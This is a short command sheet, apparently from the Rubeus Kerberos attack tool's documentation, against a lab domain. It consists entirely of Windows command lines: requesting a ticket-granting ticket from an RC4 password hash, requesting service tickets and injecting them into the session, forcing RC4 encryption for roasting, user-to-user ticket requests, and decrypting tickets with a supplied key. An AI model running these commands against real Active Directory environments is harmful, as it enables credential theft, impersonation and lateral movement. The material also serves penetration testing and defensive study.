Request a TGT and create a Service Ticket
C:\RFS>Rubeus.exe asktgt /user:dfm.a /rc4:2b576acbe6bcfda7294d6bd18041b8fe
C:\RFS>Rubeus.exe asktgs /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip)... /service:LDAP/primary.testlab.local,cifs/primary.testlab.local /ptt
C:\RFS>Rubeus.exe asktgs /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip).../service:roast/me /enctype:rc4
C:\RFS>Rubeus.exe asktgs /u2u /targetuser:ccob /ticket:doIFijCCBYagAwIBBaED...(snip)...3RwYWNrLmxvY2Fs /tgs:doIFijCCBYagAwIBBaEDAg...(snip)...YWNrLmxvY2Fs
C:\RFS>Rubeus.exe asktgs /service:roast/me /printargs /servicekey:9FFB199F118556F579B415270EE835005227FCBF29331DAC27C4397AC353F52B /ticket:doIF9DCCBfCgAwIBBaEDAg...(snip)...cGFjay5sb2NhbA==
C:\RFS>Rubeus.exe asktgs /u2u /asrepkey:CC9D16AB01D1BD0EF9EBD53C8AD536D9 /ticket:doIF9DCCBfCgAwIBBaED...(snip)...ay5sb2NhbA== /tgs:doIF9DCCBfCgAwIBBaED...(snip)...ay5sb2NhbA==